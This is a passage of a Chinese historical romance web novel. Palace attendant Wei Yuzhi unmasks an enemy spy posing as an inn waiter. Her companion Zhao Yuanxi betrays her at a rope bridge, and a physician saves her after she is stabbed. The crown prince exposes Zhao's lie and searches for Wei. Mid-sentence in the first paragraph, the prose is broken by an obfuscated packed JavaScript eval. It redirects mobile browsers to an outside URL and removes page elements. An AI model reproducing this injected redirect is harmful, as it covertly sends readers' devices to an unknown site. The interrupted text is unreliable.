那店小二正穿梭其间,提着大茶壶,满脸堆笑地为客人添水,口中话语不断。 “客官您问近日城里为何盘查严?唉,还不是北边不太平!”他一边为邻桌斟酒,一边刻意张开嗓音,能让旁桌竖着耳朵的商人听见。 “小的也是听来往的军爷们酒醉后漏过一两句,说是离朝那位陛下,怕是要御驾亲征哩!龙旗都预备下了!您说说,这阵仗,咱们虞城能不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885092|186444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧张吗?” 那桌商人闻言,手中酒杯一顿,面色惊疑不定:“御驾亲征?此言当真?这等军机要事……” “嗨,小的哪敢瞎编呐!”店小二连忙摆手,眼珠子机灵地一转,“听说啊,咱们虞城的布防出了大纰漏,所以才……” “唉,这话您可千万别说出去,小的也是替各位客官担心,这兵凶战危的,生意固然要紧,身家性命更要紧啊!”他故作忧虑地叹了口气,转身又去招呼另一桌,口中依然无意地念叨着“城防有失”、“人心惶惶”之类的话语。 卫逾之将他那番推心置腹的“悄悄话”尽收耳底,心中寒意却一层层漫上来。 昨日,孙敬得到“离帝可能御驾亲征”的风声,惊慌失措前来禀报时,曾提及此讯乃是通过特殊渠道、自北境潜伏的细作冒死传回。 目前仅限虞城少数几位高官及他本人知晓,严令不得泄露,以防引起大规模恐慌。 可这才过去一夜!一个客栈跑堂的店小二,不仅知道了,还知道得如此详细,甚至添油加醋,逢人便说! 这绝非巧合,更不是寻常的市井流言。只有一个解释。 这店小二,就是离朝安插在虞城、负责散播谣言、搅乱民心的内应! 卫逾之指尖无意识地划过粗陶杯沿。 此人必须查清,其背后或还有更大内鬼网络。 然则殿下已启程,自己孤身在此,不宜打草惊蛇。 她按捺住心绪,默默记下店小二言行举止的每一个细节。 夜色深浓,梆子打过三更。 四方驿最后一盏灯笼熄灭,喧嚣散尽,唯有寒风穿巷而过。 卫逾之悄无声息地翻过客栈后院低矮的土墙。 她白日已观察清楚,店小二宿在后院一排低矮的耳房中最靠里的一间。 房中漆黑,门栓简陋。卫逾之以薄刃挑开门闩,闪身而入。 屋内陈设极其简陋,一床一桌一柜,弥漫着汗味与劣质烟草气。 她屏息凝神,借着窗外透入的微弱雪光,迅速搜查。 抽屉里只有些散碎铜钱和针线,床铺下空空如也,衣柜里是几件打着补丁的旧衣,似乎毫无异常。 卫逾之屏息凝神,注意到床板侧面一处略显松动的木楔。 只轻轻一按,竟有一块木板弹开,露出一个浅窄的暗格! 暗格中,赫然放着几封以火漆封口的信件,以及一个用油布包裹的小竹筒。 卫逾之心跳加速,迅速取出一封,就着微光辨认。 信纸粗糙,字迹歪斜,用的是离朝边境民间常用的暗语写法,但她曾随江延学过一些,依稀能辨出“风声已放”、“人心浮动”、“可按计行事”等字样,落款处是一个模糊的印记。 与那日在闹市上抓获的内鬼身上图腾如出一辙! 果然!这店小二就是内鬼!这些信件,便是他与离朝联络、接收指令的证据! 卫逾之无心细看全部,迅速将信件原样放回,恢复暗格。 此地不宜久留,需立刻带着这个发现去追赶太子车队,将此重大线索呈报。 她悄无声息地退出房间,仔细掩好门,顺着来时路径,准备翻墙离开后院。 卫逾之的身形轻盈地落在墙根阴影处,刚松一口气时,身后却突然传来一个熟悉的声音。 “咦?这不是前几日的侠女姑娘吗?好几天没看见您了。” 卫逾之浑身一僵,缓缓转身。 只见店小二提着个夜壶,正从茅房方向晃晃悠悠走过来。 他揉着惺忪睡眼,借着雪地微光,疑惑地打量着她:“姑娘,这大半夜的,您怎么在这儿?可是寻错了路?还是丢了东西?” 他似乎并未起疑。 卫逾之心念电转,瞬间调整呼吸,脸上露出一丝窘迫,微微低头,含糊道:“啊,是你啊?我好像将一支素银簪子落在这附近了,心中着急,便想着夜里人少,来找找。惊扰你了,真是对不住。” 她边说边做出四下张望寻找的样子,脚步却不着痕迹地向墙边挪动。 店小二闻言,恍然笑道:“原来如此!姑娘莫急,这黑灯瞎火的哪找得见?明日天亮了,小的帮您留意着!这后院夜里凉,又黑,您一个姑娘家不安全,我送您从前门出去吧?” 卫逾之暗松一口气,便欲顺水推舟,让他引路从前门离开。 “卫侍臣!卫侍臣你在哪儿?我害怕!别担心我,我害怕,我们一起跟着太子殿下走吧!” 一个带着哭腔的女声突然从通往前院的门处传来,打破了夜的寂静! 是赵媛惜!她竟没在别院养病,还寻到了这里! 卫逾之脑中“嗡”的一声,暗道不好! 28. 叛 那店小二闻听赵媛惜惊惶呼喊,身形骤然凝住。 “卫侍臣?太子?呵!真是踏破铁鞋无觅处。”他慢条斯理的整理着袖口,喃喃自语着,卫逾之的背影已然僵住。 “我就说,太子一行人怎么迟迟未有踪影。原来,东宫的贵客早就到了。” 他缓缓踱步,逼近。 “白日里在茶摊窥视的,也是你吧?小丫头片子,倒有几分胆色。” “可惜,知道的太多,便活不长了。” 话音未落,他身形猛然暴起! 方才那副市井伙计的佝偻惫懒之态一扫而空,化作一道凌厉黑风,直扑卫逾之! 衣袖翻卷间,一抹幽蓝寒光乍现,竟是一柄泛着蓝光的短刃,直取她后心要害! 卫逾之早在赵媛惜呼喊时便已全神戒备,此刻虽惊不乱,足尖一点,腰身倏然拧转,险险避开那致命一击。 同时手腕一抖,缠于腰间的软剑出鞘,格向对方兵刃! “铛——!” 金铁交鸣,火花四溅! 一股巨力顺着剑身传来,震得她手腕发麻,气血翻涌,竟不由自主地后退两步,心中骇然! 这店小二看似寻常,内力竟如此雄浑,招式更是诡异狠辣,绝非普通细作,恐怕是离朝精心培养、潜伏极深的高手! “哟,还有点本事,不完全是太子身旁的花瓶。”店小二一击未中,略有讶异,眼中杀机更盛,短刃挥舞,招招不离卫逾之周身要害。 卫逾之剑法轻灵迅捷,得江延真传,更兼临敌机变,一时倒也未露败象。 但对方内力深厚,经验老辣,久战之下,她必然吃亏。 更麻烦的是,赵媛惜已吓得瘫软在地,不住哭泣。 必须速走! 心念电转,卫逾之剑势一变,故意卖个破绽,引得店小二短刃疾刺。 她却陡然撤剑,身形向后急掠,同时左手一扬,数枚细小银针射向对方面门。 这是她为防身特意准备的暗器。 店小二冷哼一声,挥袖拂开银针,追击之势却缓了一瞬。 趁此间隙,卫逾之已掠至赵媛惜身旁,一把抓住她的胳膊。 此刻她已无暇思考赵媛惜为何突然出现,只盼这累赘能自行逃命,莫再添乱 卫逾之运起全身内力,足下连点,提气纵身,带着赵媛惜跃上客栈低矮的屋檐,朝着城墙方向疾奔而去! “想走?纳命来!”店小二怒喝一声,如影随形,紧追不舍。 三人一逃两追,在虞城高低错落的屋脊墙头之上飞檐走壁,惊起寒鸦阵阵。 不能往人多处去,恐伤及无辜。 卫逾之辨明方向,带着赵媛惜专挑屋檐交错处疾行,试图利用地形甩脱追兵。 奈何那店小二对虞城地形竟也异常熟悉,轻功亦是不弱,始终死死咬住。 眼看将至城墙,卫逾之一咬牙,从怀中摸出那枚青宫令,对不远处夜巡的一小队兵卒晃了一下,疾声道:“我乃东宫特使,后有离朝细作追杀,速开西门!” 兵卒见此令牌,又见后面追来之人身手骇人,不敢怠慢,连忙开启西门。 她带着赵媛惜冲出城门,夺了拴在城门附近的两匹骏马,翻身而上,狠狠一鞭,两匹马吃痛,撒开四蹄,沿着官道向太子车队离开的方向狂奔而去。 身后,店小二竟也早有准备,不知从何处也牵出一匹马,几招劈开拦截的士兵,穷追不舍。 寒风扑面,冷月西斜。 卫逾之纵马狂奔,心中思绪纷乱。 赵媛惜的突然出现与呼喊,险些让她陷入绝境,此女行事,越发诡异难测。 那店小二武功之高,亦出乎意料,虞城这趟浑水,比想象更深。 天色微明,官道转入山林。 一夜疾驰,人困马乏。卫逾之折入山林小道,此处最易甩开追兵。 赵媛惜伏在马背上,面色苍白,嘴唇咬出了血,一言不发,只是紧紧跟着。 就在她们于林间寻路之际,前方薄雾中,忽见一个背负药篓,手持药锄的身影,他正蹲在溪边采撷草药。 卫逾之定睛一看,竟是何生尘?! 何生尘察觉到动静,抬眼望来,见是卫逾之,眉头立刻蹙起,冷声道:“又是你?阴魂不散。我说过,莫再来寻我麻烦。” 卫逾之此刻哪有心思与他纠缠,匆匆一瞥,便欲策马绕开,只丢下一句:“无意打扰,何公子请自便。” 她现在只想尽快摆脱追兵,追上太子车队。 何生尘见她神色仓皇,衣襟沾露,显是经过奔波,又瞥见她身后惶惶不安的赵媛惜,眼中掠过一丝疑色,但终究侧身让开了道路,未再多言。 两匹马掠过何生尘,继续沿山路向前。 不多时,前方传来哗哗水声,一条湍急的山涧横亘于前,涧水奔腾,白浪翻卷,深不见底。 唯一通道,是一座年久失修、以粗麻绳和木板悬于两岸的简易吊桥。 桥身在山风中微微摇晃,发出不堪重负的“吱呀”声。 卫逾之谨慎地放缓马速,靠近桥头,仔细观察桥面与绳索。赵媛惜紧随其后,一直沉默着。 “赵姑娘,此桥危险,需下马牵行,一次一人通过。你跟紧我,务必小心。”她回头叮嘱,率先翻身下马,牵着自己的坐骑,试探着踏上了摇晃的桥板。 赵媛惜依言下马,牵着缰绳,跟在卫逾之身后几步远。 她低着头,看不清表情。 行至吊桥中段时,异变再生! 身后突然传来一声尖锐的马嘶!只见赵媛惜猛地翻身上马,狠狠一鞭抽在马臀。那马吃痛,长嘶一声,竟不顾桥面狭窄,发狂般朝着对岸冲去! 赵媛惜伏低身子,紧贴马背,瞬间就越过了卫逾之! “赵姑娘!你做什么?!”卫逾之大惊,厉声喝道。 赵媛惜恍若未闻,眨眼间已冲至对岸桥头。 她勒住马,猛地转身,脸上再无半分之前的惊惶怯懦。 她右手一翻,竟从袖口中抽出一柄寒光闪闪的匕首! “正如你曾说过的‘人生多艰,犹因奋力向前。’,现在,你就是我青云路上最大的绊脚石!” 她冷笑着,手起刀落,狠狠斩向连接吊桥主缆的粗麻绳。 “住手——!”卫逾之飞身扑去,却已不及。 嘣!嘣!”几声断裂声响起,主缆应声而断! 整座吊桥失去一侧支撑,猛地向下翻转。 卫逾之只觉脚下陡然一空,整个人随着断裂的木板绳索向下急坠! 千钧一发之际,她左手疾探,死死抓住了另一侧尚未完全断裂一根副缆。 身体悬空,脚下是轰鸣咆哮的涧水。 断裂的木板和绳索如雨般落下,溅起巨大水花。 卫逾之单臂吊在缆绳上,随着山风剧烈摇晃,指尖深深陷入粗糙的麻绳,勒出血痕。 她艰难抬头,看向对岸。 赵媛惜已收起匕首,坐在马上,隔着奔腾的涧水与断裂的吊桥,深深地望了她一眼。 那眼神中,没有丝毫愧疚与挣扎。 “真可惜,太子殿下若知道你命丧于此,不知该作何感想?” 她丢下这句意味深长的话,猛地一扯缰绳,调转马头,头也不回地冲入了对岸的山林深处,消失不见。 卫逾之悬在半空,山风灌耳,涧水轰鸣。 为什么?赵媛惜为什么要这么做? 难道从一开始,她的柔弱、她的凄惨、她的无助,全都是伪装? 可她若是离朝细作,为何昨夜不直接与那店小二联手?又为何要等到此刻才动手? 她到底是谁?想干什么? 无数疑问刺得卫逾之头脑阵阵抽痛,然而,此刻最迫在眉睫的,是险境! 她咬紧牙关,试图运力,借着缆绳摆动,一点点向尚有连接的岸边崖壁挪动。 绳索湿滑,且因承受她的重量而不断发出令人心悸的呻吟,随时可能彻底断裂。 卫逾之艰难移动了数尺,终于攀上了岸边崖壁,一时间冷汗直流,还来不及喘口气。 身后山路上,却传来了不疾不徐的脚步声。 “跑得倒快,可惜,还是留下了记号。” 卫逾之心头一沉,缓缓回头。 只见那店小二不知何时已追至断桥此岸,正负手立于崖边,好整以暇地看着她悬在半空的狼狈模样。 他的目光扫过对岸赵媛惜离去的方向,又落回卫逾之身上。 “没想到吧?那位姑娘,倒是帮了我一个大忙。”店小二悠然道,仿佛在闲话家常,“她沿路留下了特殊的香粉印记,却足够让我跟上。啧啧,女人啊,就是心思多。” 卫逾之脑中轰然一响! 赵媛惜留下的记号?!她果然早有预谋! “你和她是一伙的?”卫逾之哑声问道,借此拖延时间,积蓄气力。 店小二嗤笑一声:“一伙?我可和她只有数面之缘。不过是个自以为是的蠢女人罢了。” “她以为凭她那点小聪明,就能左右逢源,渔翁得利?可笑。”他眼中满是不屑,“这种墙头草,终会玩火自焚罢了。” 卫逾之心中更加疑惑,不是同谋?那赵媛惜背叛的动机,到底是什么? 店小二已不再多言, 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她的剑法更急,欲抢攻逼退对方,觅机脱身。 然而,久战力疲,兼之先前耗费甚巨,动作终究慢了半拍。 店小二觑准一个破绽,短刃虚晃,引开软剑,另一只手却疾探而出,五指成钩,狠狠抓向卫逾之左肩! 卫逾之连忙侧身急避,却仍被指尖扫中,肩胛骨传来钻心疼痛。 身形一滞的刹那,店小二眼中凶光大盛,短刃疾刺她心口! 这一刀,凝聚了他毕生功力,快、准、狠! 卫逾之避无可避,格挡不及! “噗!” 利刃入肉,卫逾之只觉胸口一阵冰凉,随即是炸裂般的剧痛席卷全身! 她低头,看到那柄短刃,深深没入自己左胸,鲜血已如泉涌,瞬间染红白衫。 巨大的冲击力让她站立不稳,脚下在湿滑的石面一滑,整个人向后仰倒,直直坠入下方汹涌奔腾的涧水之中! 店小二立于巨石上,看着卫逾之落水处瞬间被湍流吞噬,只剩下一抹迅速淡去的血色。 他喘息着,抹去溅到脸上的血点:“东宫侍臣?还以为是个硬石头,也不过如此。” 那一刀加上这冰冷湍急的涧水,她必死无疑。 任务完成,店小二心情颇佳,正欲离开,目光却瞥见了呆立于河边的采药男子。 何生尘竟没有离开,反而无意间被打斗声所吸引,寻到了此处。 刹那间,杀机再现。 “还有一个碍眼的。”店小二狞笑一声,竟不顾涧水湍急,提气纵身,踏着水中几块稍露的石头,几个起落,便跃至对岸,堵住了男子的退路。 此人目睹了一切,不能留活口。 何生尘脸色惨白,连连后退,背靠一棵大树,退无可退。 “医者?”店小二打量着他背上的药篓,语气轻蔑,“怪只怪你运气不好,看到了不该看的。放心,我下手很快。” 他刚挥起短刃,何生尘突然开口。 “你是离朝皇帝李玄的人,对不对?!” 店小二动作一顿,眼中掠过讶异:“哦?你竟知道陛下名讳?看来也不是普通郎中。” 何生尘死死盯着他,一字一句,狰狞着从牙缝里挤出:“李玄弑父篡位,嫁祸我何家,灭我满门,此仇不共戴天!我今日便是拼却一死,也要杀了你这狗贼,以告父老!” 他猛地从袖中滑出数根银针,朝着店小二面门射去! 竟是不顾性命,要与对方同归于尽的架势。 然而,他虽懂医理,又如何是这离朝高手的对手? 店小二轻易挥开银针,一脚踹在何生尘腹部。 他痛哼一声,重重撞在树干上,口吐鲜血,委顿于地,再难起身。 “何家余孽?”店小二恍然大悟,随即嗤笑,“原来是丧家之犬。正好,送你们一家团聚!” 说罢,他大步上前,短刃高举,朝着何生尘心口狠狠刺下! 何生尘绝望闭目。 “噗嗤!” 利器刺穿血肉的声音,再次响起。 倒下的,却不是何生尘。 店小二高举短刃的手臂僵在半空,脸上得意的狞笑骤然凝固。 他难以置信地低下头,看到一截染血的剑尖,正从自己心口位置透出! 鲜血,顺着剑尖滴落,迅速在他前襟泅开一片刺目的红 他艰难地扭动脖颈,看向身后。 卫逾之! 29. 狂怒 山涧之畔,一片血污狼藉。 店小二尸身伏地,双目圆睁。 卫逾之眼前阵阵发黑,耳中嗡鸣,此刻以自己那把断剑支撑地面,勉强站立。 她方才强撑着从刺骨的河水中越出,眼下浑身湿透,面色惨白如雪,左胸伤口血肉模糊,鲜血混着涧水不断淌下,在脚下积成一小滩刺目的红。 胸口剧痛不断吞噬着卫逾之的意识,但她知道,此刻绝不能倒下。 强咽下一口鲜血,稳住摇摇欲坠的身体,染血的右手迅速抬起,竟是握着那柄断剑,反手,将冰冷的刃尖抵在了尚在惊愕中的何生尘颈侧。 刃锋触肤,寒意刺骨。 “救我。”卫逾之唇齿间涌出血沫,声音嘶哑,“不然,咱们一起死。” 何生尘浑身一僵,抬眸对上她的眼睛。 分明是强弩之末,意志力倒强的惊人。 何生尘迅速撕扯着衣衫,嗤道:“还用你说?你现在这模样,跟从地府里爬出来的水鬼也没什么两样,不救你,难道留你在这儿吓唬山精野怪?” 话音未落,卫逾之抵在他颈间的断剑“当啷”坠地,整个人如同被抽去所有筋骨,软软地向后倒去。 “喂!”何生尘下意识伸手接住她倾倒的身体,触手一片冰凉湿黏,鲜血迅速染红了他的袖袍。 他脸色骤变,再顾不得其他,迅速探她鼻息脉息,眉头紧锁。 伤重若此,失血过多,又兼寒气侵体。再不施救,怕是真要做鬼了。 他咬牙,将卫逾之小心放平,也顾不上避嫌,迅速撕开她左胸伤口处的衣物,露出那狰狞的刀口与泛黑的皮肉。 短刃有毒!他蹙了蹙眉,立刻从药篓中翻出几个瓶罐,暗道今日出门没看黄历。 却不知,远在几百公里的官道上,亦有人同他一同烦恼。 残阳似血,马车碾过官道,扬起一地灰尘。两名并骑的侍卫落在队尾,不住窃窃私语。 “这趟差真真是邪门,”年轻些的抱怨道,“先是三番五次的刺杀,殿下偏在途中病倒,离朝那帮人又趁这时叩关,卫侍臣也不在,连个拿主意的都没有。” “可不是晦气,”年长的啐了一口,眯眼望着天际昏鸦,“卫侍臣说有什么事需要确认,能有什么事比殿下还重要?搞得咱们这群人,如今像没头苍蝇。” 他叹口气,“出门那日,定是冲撞了太岁!” 话音未落,前方那辆马车里,骤然传出一声闷哼,紧接着是几声急促的的咳嗽。 霎时间,所有低语与抱怨戛然而止。里头那位昏沉了好几日的殿下,显然是醒了。 马车内,周重晏从一场光怪陆离的噩梦中猛然惊醒,冷汗涔涔,浸湿了中衣。 他捂着骤然抽痛不已的胸口,仿佛有一块血肉被硬生生剜去,空落落地疼。 “之儿……”他下意识地唤道,却无人回应。怔忡片刻,他才意识到,卫逾之并未随车同行。 “来人!”他猛地坐起,因动作太急牵动病体,引发一阵剧烈咳嗽。 侍卫统领连忙掀帘入内:“殿下,您醒了?可还有哪里不适?” 周重晏撑起身,心中不安更甚:“卫侍臣呢?为何不在?” 侍卫统领面露难色,低声禀报:“回殿下,卫侍臣未曾随车队离开虞城。她说尚有要事需确认,让属下等先护送殿下回长安,她随后便到。” “胡闹!”周重晏心头一紧,厉声道,“她孤身留下,若是有什么……咳咳咳!” 话未说完,又是一阵剧烈咳嗽,脸色愈发苍白。 “殿下息怒,卫侍臣机敏果决,武艺不凡,定能化险为夷。”侍卫统领沉声劝慰。 “当务之急,是殿下需保重玉体。方才又有急报,离朝边军异动加剧,恐真有进攻之意。” “这个时候?”周重晏思虑更甚,强迫自己冷静下来,试图分析离朝为何选择此时进犯。 虞城布防图失窃,太守自尽,内应潜伏,谣言四起,人心惶惶,紧接着离朝便陈兵边境,蓄势待发。 这果然是一场里应外合、蓄谋已久的侵略。 离朝的内鬼此前在虞城兴风作浪,不正是为了配合外部的军事行动吗? 那之儿到底又是知道了什么,才会选择在此时留在虞城? 想到此处,他的心弦弦绷得更紧,对卫逾之的担忧反复冲击着他的意识,压根集中不了注意力。 之后几日,周重晏如同惊弓之鸟,任何一点关于虞城的风吹草动,都能让他心神剧震。 那日午后,车队已近长安,于途中驿站休整。 一阵急促马蹄声由远及近,尘烟中,一个狼狈的身影跌跌撞撞扑到驿站门前,正是赵媛惜。 周重晏闻讯,疾步奔出驿站,目光急切地扫向她身后,却只见到空旷的官道与飞扬的尘土。 他顿在原地,如同被冰水浇头,一股寒意从脚底直窜头顶。 “卫侍臣呢?”他声音发紧,死死盯着赵媛惜。 赵媛惜发髻散乱,罗裙污损,见了他,立刻扑倒在地,泣不成声。 “殿下,民女与卫姑娘回程途中、途中遭遇离朝埋伏!那些贼人凶悍,卫姑娘她奋力抵挡,奈何贼众我寡,她被擒住了!” 周重晏身形一僵,“你说什么?!” “民女躲在树丛中,亲眼看见那贼首逼问她您的行踪,卫姑娘起初不肯说,后来不知那贼人许了她什么好处,她、她竟……竟投敌了!民女趁乱逃出,一路不敢停歇,这才赶来报信!” 她边说边偷觑周重晏的神色,末了还添上一句:“殿下,民女亲眼所见,卫姑娘她只怕早变了心了。求殿下速速决断,莫要被她所蒙蔽啊!” 周重晏初听此言,脸色瞬间惨白,眼中惊痛难掩。 “怎么会?之儿怎么会?” 赵媛惜见状,心中暗喜,他信了。 “孤且问你,你们是在何处遇袭?对方有多少人?使用何种兵器?她是如何投敌的?可曾留下什么话语?” 赵媛惜连忙按照事先想好的话术回答:“是在虞城西南三十里处的落鹰涧。对方有七八人,黑衣蒙面,用的都是短刃。卫姑娘她先是奋力抵抗,杀了两人,后来眼看突围无望,便突然扔了剑,也没留下什么话,只说了句‘良禽择木而栖’,便跟着他们走了。” 周重晏点了点头,忽然问道:“落鹰涧?那处是否有一座年久失修的吊桥?” 赵媛惜不疑有他,下意识点头:“是有一座破桥,我们本来想从那里过河。” “桥断了,是吗?”周重晏紧接着问。 赵媛惜一愣,她记得自己割断了桥,但不确定太子是否知道桥本身状况,只得含糊道:“好像……是有些破烂。” “来人!”周重晏再不看她,厉声下令,“将此女拿下!” 赵媛惜被侍卫擒在地上,脸色刷地白了,不可置信道:“殿下何出此言?民女所言句句属实啊!” “就在昨日,孙敬的加急军报已到。”周重晏一步步逼近,俯时着她,“军报中提及,为防离朝细作流窜,已派人巡查各要道。” “而落鹰涧的吊桥,早在几个月前的山洪中便已彻底冲毁,根本无桥可过!赵姑娘,你编故事之前,难道不先打听清楚吗?!” 谎言被当场戳破,赵媛惜如遭雷击,呆立当场,脸上血色尽褪,嘴唇哆嗦着,一时竟说不出话来。 “说!到底怎么回事?!之儿现在何处?!”周重晏一把揪住她的衣领,力道之大几乎将她提离地面,眼中布满红丝,那模样骇人至极,“再敢有一句虚言,孤剐了你!” 赵媛惜从未见过他如此暴戾可怖的一面,那温柔的假面彻底被撕碎。 她这才意识到,周重晏根本从未相信过她对卫逾之的指控,刚才的询问,全是为了诱她露出破绽! 但她旋即又生出一股破罐破摔的狠劲 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看着他眼中的疯狂,赵媛惜知道,任何伪装、任何算计,在这个他面前都已无用。 她突然放弃了挣扎,瘫软在地,低低地笑了起来,笑声越来越大,越来越癫狂。 “哈哈哈,太子殿下,您果然很在意她啊!”她抬起头,脸上泪痕犹在,却带着扭曲的笑容。 “好,我告诉你。是我!是我割断了吊桥,把她留在绝地!是我引来了离朝的内鬼!留她独自面对!她打不过的!她死定了!” “你再说一遍!”周重晏瞳孔猛缩,脸上的血色瞬间褪得一干二净,身体晃了晃,仿佛站立不稳。 “我说,卫逾之死了!被我害死的!”赵媛惜歇斯底里地大喊。 “我恨!我恨你们这些高高在上、随手决定别人命运的人!我恨我爹,也恨你,更恨她那副假惺惺关心我的样子!” “凭什么她一个贱民就能得到你的信任、你的庇护?凭什么我堂堂将军之女,就要像阴沟里的老鼠一样活着?!” 她看着周重晏越来越苍白的脸,心中升起一股扭曲的快意,“我想毁了她,我才应该站在你的身边,可你心里只有她!现在好了,失去最重要的人的滋味好受吧?哈哈哈!” “啊——!!!” 一声嘶吼从周重晏喉咙里爆发出来! 他双目赤红,额头青筋暴起,猛地扑上前,双手死死掐住了赵媛惜的脖子,将她狠狠按在地上。 此刻那温文尔雅的储君仪态荡然无存,如今的他,只是一个被无尽悲愤与杀意吞噬的疯子! “殿下!殿下息怒!”侍卫们大惊失色,连忙上前阻拦,却被他周身那股骇人的煞气所慑,一时竟不敢硬拉。 赵媛惜的笑声戛然而止,双手徒劳地抓挠着他铁钳般的手,被掐的满脸呈现猪肝色。 在她即将窒息而亡的瞬间,周重晏却猛地松开了手,将她像破布一样甩开。 他剧烈地喘息着,胸口起伏不定,半晌才下令道:“把她关进铁笼,别让她那么轻易就死了。传令,全军转向,立刻返回虞城。孤要亲自去找卫侍臣!” “殿下!不可啊!”侍卫统领噗通跪倒,“虞城危殆,离朝大军压境,您万金之躯岂可再入险地?卫大人吉人天相,或许……” “闭嘴!”周重晏厉声打断,一脚踹翻面前的矮几,嘶吼道,“孤必须去!生要见人,死要见尸!” 什么储君责任,什么大局安危,什么谋定后动,此刻全因那“死定了”三个字,全然被抛之脑后。 赵媛惜蜷缩在地,看着他近乎癫狂的模样,瑟缩着,却仍忍不住发阴沉的冷笑:“去啊,去找啊。找到一堆白骨?哈哈哈……” 周重晏的目光再次落在她身上,俯身捏起她的脸,冷笑着,癫狂着。 “若孤找不到之儿,便让你求生不得,求死不能。” 30. 短命之人 药庄位于虞城东南,隐于群山,终年云雾缭绕。几栋朴素的青瓦木屋,围以竹篱药畦,依山傍水,罕有人至。 卫逾之在此已将养数日。 那日涧边死里逃生,幸得何生尘医术高明,竭尽全力救治,才将她从鬼门关拽回。 胸口那处致命刀伤,毒质已清,伤口亦开始愈合,虽内里仍虚,气息尚弱,但已能勉强下地行走,在檐下短坐。 此刻,她正披着藕色外衫,斜倚在廊柱边,远望苍山负雪,明烛天南,静听莺啼鸟啭,溪声潺潺,恍若置身世外桃源。 只是她的心,却始终无法安宁。 算算时日,殿下应已平安抵达长安,可自己迟迟未至,他定然心急如焚。离朝风声日紧,虞城恐将成战场,此地亦非久留之处。 “我的伤,再需几日可恢复?”她对着正在院中分拣药材的何生尘问道。 “恢复?”何生尘瞥了她一眼,嗤笑一声,“你现在能站着说话,全仗着我这儿的药材和金针吊着元气。胸口那毒刃之伤,离心脉只差毫厘,失血过半,寒气侵腑。寻常人早死了十回八回。你若是这个时候还想着离开,是嫌命太长了吗?” 卫逾之也不争辩,只道:“我有要事在身,不宜久留。” “什么事比命重要?”何生尘将草药丢进箩筐,走到她面前,居高临下地看着她,“你的太子殿下?” 卫逾之沉默,算是默认。 何生尘移开目光,望向层叠的远山,忽然话锋一转:“这药庄,是我外祖父留下的。他年轻时便是这一带最有名的游医,后来在此隐居,建了这庄子,我娘是他的独女,自幼备受宠爱。” 卫逾之有些诧异,这是他第一次主动提及身世。 “可我娘偏偏爱上了我爹,一个来自离朝的太医世家子弟。外祖父极力反对,他们便私奔了,与家中断了联系。直到……” “直到何家出事,满门倾覆。”卫逾之接上了他的话。 何生尘点头,眼神暗沉下来:“我娘大概预感到大祸临头,提前将我悄悄送走,辗转托人,送回了外祖父这里。外祖父虽怨她当年决绝,但血脉相连,终是收留了我。” “后来他便独自抚养我,也传了我这药庄。吴庸,是他早年救下的落魄书生,后来便留下做了管家,忠心耿耿。”何生尘顺便解释一句。 “外祖几年前仙去了,他去世前,拉着我的手,只说了一句:医者难自医,智者难保身。现在看来,这句话用在你身上,也挺合适。” 何生尘的语气无悲无怒,但卫逾之却听得真切。 家破人亡,漂泊异乡。他之所以撕开这些结痂的伤疤,是为了告诉她,何家满门忠烈,医术通天,最后落得什么下场? 如今世道,即便有家传绝学,有安身立命之所,若无自保之能,不懂趋利避害,最终也不过沦为权势争斗下的飞灰。 她效忠的太子,今日或许倚重她,他日呢?皇家无情,古来皆然。 莫要将性命系于他人之手,量力而行,明哲保身才是长久之道。 卫逾之不置可否,两人一时无言。 过了片刻,何生尘忽然提前:“那个跟你一起逃出来的女孩,叫寻梅的,后来怎么样了?” 卫逾之一怔,抬眸看他,见他耳尖微红,瞬间了然。 当年他便对寻梅多有照顾,分开时,寻梅哭得最凶,他还偷偷塞给她一小包核桃糕。 “她后来与我一同入了宫,如今在东宫做些杂役,还算安稳。”卫逾之如实相告。 何生尘“嗯”了一声,没再说什么。 卫逾之心中暗叹,世事难料,谁能想到当年雨夜萍水相逢的三人,命运会如此交错。 — 虞城外,山涧畔。 寒风猎猎,吹动着周重晏凌乱的发丝。 几日来,他不眠不休,日夜兼程返回,今日几乎将附近山林搜遍,派出的侍卫更是一波接一波,询问附近所有猎户樵夫,却始终没有卫逾之的半点踪迹。 待他终于撬开赵媛惜的嘴,重返遇袭之地,眼前只剩断裂的吊桥残骸和奔流不息的刺骨涧水。 “之儿!之儿——!!” 他沿着涧水上下游搜寻,呼唤卫逾之的名字,声音在山谷间回荡,却只惊起飞鸟,不见伊人回应。 “之儿,你到底在哪里……”他跪倒在冰冷潮湿的地面上,胸口那股抽痛再次袭来,连日奔波忧惧,加上此刻的绝望,让他眼前阵阵发黑,几乎支撑不住。 “殿下!殿下您歇歇吧!”侍卫们慌忙将他扶住,生怕他悲痛过度,情急之下干出什么傻事。 自从那日听闻赵媛惜疯癫之言,殿下便也如同疯魔了一般,不吃不睡,亲自搜寻,几次险些失足滑落山涧。 周重晏恍若未闻,他死死盯着汹涌的涧水,恨不得跳下去寻她。 若之儿真的尸骨无存…… “殿下!”一阵马蹄声袭来,原来是那虞城司马孙敬,他听闻太子返程的消息,连忙带着一队人马赶到了。 孙敬连滚带爬下马,跪倒在地,仓皇禀报。 “下官几日前,在此处的崖壁上,发现了发现了一柄断裂软剑!还有一具男尸,观其容貌和衣着打扮,似乎就是四方驿失踪的店小二,城门守卫也证实,他便是那晚追击卫侍臣的细作!” 周重晏猛地站起身,死死抓住孙敬手臂,力道之大,让他忍不住疼得龇牙。 “剑在何处?!拿来给孤看!” 孙敬连忙把那柄犹带暗红血迹的断剑呈上。尽管污损,周重晏还是一眼认出,那正是卫逾之常年缠于腰间,用作防身的软剑。 他缓缓松开孙敬,踉跄后退两步。如果之儿已遭不测,拿具尸体便是她才对,但眼下,只有敌尸与她的断剑! 她若身死,又有谁回移走她的尸体?除非……除非她没死!她可能在击杀店小二后,重伤之下,被人带走,或是自己挣扎离开了! 这个推断让周重晏濒临崩溃的心弦骤然一松,紧接着是排山倒海的虚脱与后怕。 她可能还活着!她一定还活着! 